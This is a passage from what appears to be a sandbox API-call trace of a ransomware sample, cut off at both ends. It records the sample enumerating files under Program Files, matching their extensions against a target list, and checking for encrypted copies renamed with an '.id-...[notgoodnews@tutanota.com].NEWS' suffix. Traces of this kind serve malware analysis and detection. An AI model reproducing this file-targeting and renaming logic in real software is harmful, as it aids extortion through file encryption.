Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0211.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0211.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0211.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0211.098] lstrlenW (lpString=".doc") returned 4 [0211.098] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0211.098] lstrlenW (lpString=".docx") returned 5 [0211.098] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0211.098] lstrlenW (lpString=".pdf") returned 4 [0211.098] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0211.098] lstrlenW (lpString=".xls") returned 4 [0211.098] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0211.098] lstrlenW (lpString=".xlsx") returned 5 [0211.099] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0211.099] lstrlenW (lpString=".ppt") returned 4 [0211.099] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0211.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0211.099] lstrlenW (lpString=".zip") returned 4 [0211.099] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0211.099] lstrlenW (lpString=".rar") returned 4 [0211.099] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0211.099] lstrlenW (lpString=".bz2") returned 4 [0211.099] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0211.099] lstrlenW (lpString=".7z") returned 3 [0211.100] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0211.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0211.100] lstrlenW (lpString=".dbf") returned 4 [0211.100] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0211.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0211.100] lstrlenW (lpString=".1cd") returned 4 [0211.100] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0211.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0211.100] lstrlenW (lpString=".jpg") returned 4 [0211.100] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0211.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0211.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0211.101] lstrlenW (lpString=".doc") returned 4 [0211.101] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0211.101] lstrlenW (lpString=".docx") returned 5 [0211.101] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0211.101] lstrlenW (lpString=".pdf") returned 4 [0211.101] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0211.101] lstrlenW (lpString=".xls") returned 4 [0211.101] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0211.101] lstrlenW (lpString=".xlsx") returned 5 [0211.101] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0211.101] lstrlenW (lpString=".ppt") returned 4 [0211.101] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0211.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0211.102] lstrlenW (lpString=".zip") returned 4 [0211.102] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0211.102] lstrlenW (lpString=".rar") returned 4 [0211.103] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0211.103] lstrlenW (lpString=".bz2") returned 4 [0211.103] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0211.103] lstrlenW (lpString=".7z") returned 3 [0211.103] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0211.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0211.103] lstrlenW (lpString=".dbf") returned 4 [0211.103] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0211.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0211.103] lstrlenW (lpString=".1cd") returned 4 [0211.103] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0211.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0211.104] lstrlenW (lpString=".jpg") returned 4 [0211.104] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0211.104] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0211.104] lstrlenW (lpString="ipssrb.xml") returned 10 [0211.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0211.107] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2568) returned 1 [0211.107] CloseHandle (hObject=0x240) returned 1 [0211.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0211.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0211.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0211.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0211.108] lstrlenW (lpString=".doc") returned 4 [0211.108] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0211.108] lstrlenW (lpString=".docx") returned 5 [0211.108] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0211.108] lstrlenW (lpString=".pdf") returned 4 [0211.108] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0211.108] lstrlenW (lpString=".xls") returned 4 [0211.108] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0211.109] lstrlenW (lpString=".xlsx") returned 5 [0211.109] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0211.109] lstrlenW (lpString=".ppt") returned 4 [0211.109] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0211.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0211.109] lstrlenW (lpString=".zip") returned 4 [0211.109] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0211.109] lstrlenW (lpString=".rar") returned 4 [0211.109] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0211.109] lstrlenW (lpString=".bz2") returned 4 [0211.109] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0211.109] lstrlenW (lpString=".7z") returned 3 [0211.109] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0211.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0211.110] lstrlenW (lpString=".dbf") returned 4 [0211.110] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0211.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0211.110] lstrlenW (lpString=".1cd") returned 4 [0211.110] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0211.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0211.110] lstrlenW (lpString=".jpg") returned 4 [0211.110] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0211.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0211.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0211.111] lstrlenW (lpString=".doc") returned 4 [0211.111] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0211.111] lstrlenW (lpString=".docx") returned 5 [0211.111] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0211.111] lstrlenW (lpString=".pdf") returned 4 [0211.111] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0211.111] lstrlenW (lpString=".xls") returned 4 [0211.111] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0211.111] lstrlenW (lpString=".xlsx") returned 5 [0211.111] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0211.111] lstrlenW (lpString=".ppt") returned 4 [0211.111] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0211.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0211.112] lstrlenW (lpString=".zip") returned 4 [0211.112] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0211.112] lstrlenW (lpString=".rar") returned 4 [0211.112] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0211.112] lstrlenW (lpString=".bz2") returned 4 [0211.112] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0211.112] lstrlenW (lpString=".7z") returned 3 [0211.112] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0211.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0211.112] lstrlenW (lpString=".dbf") returned 4 [0211.112] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0211.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0211.112] lstrlenW (lpString=".1cd") returned 4 [0211.113] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0211.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0211.113] lstrlenW (lpString=".jpg") returned 4 [0211.113] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0211.113] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0211.114] lstrlenW (lpString="ipssrl.xml") returned 10 [0211.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0211.114] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2596) returned 1 [0211.114] CloseHandle (hObject=0x240) returned 1 [0211.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0211.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0211.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0211.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0211.115] lstrlenW (lpString=".doc") returned 4 [0211.115] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0211.115] lstrlenW (lpString=".docx") returned 5 [0211.115] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0211.116] lstrlenW (lpString=".pdf") returned 4 [0211.116] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0211.116] lstrlenW (lpString=".xls") returned 4 [0211.116] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0211.116] lstrlenW (lpString=".xlsx") returned 5 [0211.116] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0211.116] lstrlenW (lpString=".ppt") returned 4 [0211.116] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0211.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0211.116] lstrlenW (lpString=".zip") returned 4 [0211.116] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0211.116] lstrlenW (lpString=".rar") returned 4 [0211.116] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0211.116] lstrlenW (lpString=".bz2") returned 4 [0211.116] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0211.117] lstrlenW (lpString=".7z") returned 3 [0211.117] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0211.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0211.117] lstrlenW (lpString=".dbf") returned 4 [0211.117] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0211.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0211.117] lstrlenW (lpString=".1cd") returned 4 [0211.117] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0211.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0211.117] lstrlenW (lpString=".jpg") returned 4 [0211.117] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0211.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0211.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0211.223] lstrlenW (lpString=".doc") returned 4 [0211.223] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0211.223] lstrlenW (lpString=".docx") returned 5 [0211.223] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0211.223] lstrlenW (lpString=".pdf") returned 4 [0211.223] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0211.223] lstrlenW (lpString=".xls") returned 4 [0211.223] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0211.223] lstrlenW (lpString=".xlsx") returned 5 [0211.223] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0211.223] lstrlenW (lpString=".ppt") returned 4 [0211.224] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0211.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0211.224] lstrlenW (lpString=".zip") returned 4 [0211.224] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0211.224] lstrlenW (lpString=".rar") returned 4 [0211.224] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0211.224] lstrlenW (lpString=".bz2") returned 4 [0211.224] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0211.224] lstrlenW (lpString=".7z") returned 3 [0211.224] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0211.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0211.224] lstrlenW (lpString=".dbf") returned 4 [0211.224] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0211.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0211.224] lstrlenW (lpString=".1cd") returned 4 [0211.225] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0211.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0211.225] lstrlenW (lpString=".jpg") returned 4 [0211.225] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0211.225] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0211.226] lstrlenW (lpString="ipssve.xml") returned 10 [0211.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0213.162] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2520) returned 1 [0213.162] CloseHandle (hObject=0x324) returned 1 [0213.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0213.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0213.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0213.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0213.532] lstrlenW (lpString=".doc") returned 4 [0213.532] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0213.532] lstrlenW (lpString=".docx") returned 5 [0213.532] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0213.532] lstrlenW (lpString=".pdf") returned 4 [0213.532] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0213.532] lstrlenW (lpString=".xls") returned 4 [0213.532] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0213.532] lstrlenW (lpString=".xlsx") returned 5 [0213.532] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0213.533] lstrlenW (lpString=".ppt") returned 4 [0213.533] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0213.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0213.533] lstrlenW (lpString=".zip") returned 4 [0213.533] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0213.533] lstrlenW (lpString=".rar") returned 4 [0213.534] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0213.534] lstrlenW (lpString=".bz2") returned 4 [0213.534] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0213.534] lstrlenW (lpString=".7z") returned 3 [0213.534] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0213.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0213.534] lstrlenW (lpString=".dbf") returned 4 [0213.534] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0213.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0213.534] lstrlenW (lpString=".1cd") returned 4 [0213.534] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0213.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0213.535] lstrlenW (lpString=".jpg") returned 4 [0213.535] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0213.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0213.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0213.536] lstrlenW (lpString=".doc") returned 4 [0213.536] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0213.536] lstrlenW (lpString=".docx") returned 5 [0213.536] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0213.536] lstrlenW (lpString=".pdf") returned 4 [0213.536] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0213.536] lstrlenW (lpString=".xls") returned 4 [0213.536] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0213.536] lstrlenW (lpString=".xlsx") returned 5 [0213.536] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0213.536] lstrlenW (lpString=".ppt") returned 4 [0213.536] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0213.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0213.557] lstrlenW (lpString=".zip") returned 4 [0213.557] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0213.557] lstrlenW (lpString=".rar") returned 4 [0213.557] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0213.557] lstrlenW (lpString=".bz2") returned 4 [0213.557] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0213.557] lstrlenW (lpString=".7z") returned 3 [0213.557] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0213.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0213.557] lstrlenW (lpString=".dbf") returned 4 [0213.558] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0213.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0213.558] lstrlenW (lpString=".1cd") returned 4 [0213.558] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0213.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0213.558] lstrlenW (lpString=".jpg") returned 4 [0213.558] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0213.559] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0213.561] lstrlenW (lpString="16to9Squareframe_SelectionSubpicture.png") returned 40 [0213.561] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0214.094] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=3286) returned 1 [0214.094] CloseHandle (hObject=0x338) returned 1 [0214.095] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png")) returned 0x20 [0214.147] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0214.148] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.148] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0214.150] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0214.150] lstrlenW (lpString=".doc") returned 4 [0214.150] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0214.150] lstrlenW (lpString=".docx") returned 5 [0214.151] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0214.151] lstrlenW (lpString=".pdf") returned 4 [0214.151] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0214.151] lstrlenW (lpString=".xls") returned 4 [0214.151] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0214.151] lstrlenW (lpString=".xlsx") returned 5 [0214.152] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0214.152] lstrlenW (lpString=".ppt") returned 4 [0214.152] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0214.152] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0214.152] lstrlenW (lpString=".zip") returned 4 [0214.152] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0214.152] lstrlenW (lpString=".rar") returned 4 [0214.152] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0214.152] lstrlenW (lpString=".bz2") returned 4 [0214.152] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0214.152] lstrlenW (lpString=".7z") returned 3 [0214.152] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0214.152] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0214.152] lstrlenW (lpString=".dbf") returned 4 [0214.153] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0214.153] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0214.153] lstrlenW (lpString=".1cd") returned 4 [0214.153] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0214.153] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0214.153] lstrlenW (lpString=".jpg") returned 4 [0214.153] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0214.153] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0214.153] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0214.153] lstrlenW (lpString=".doc") returned 4 [0214.153] lstrcmpiW (lpString1=".doc", 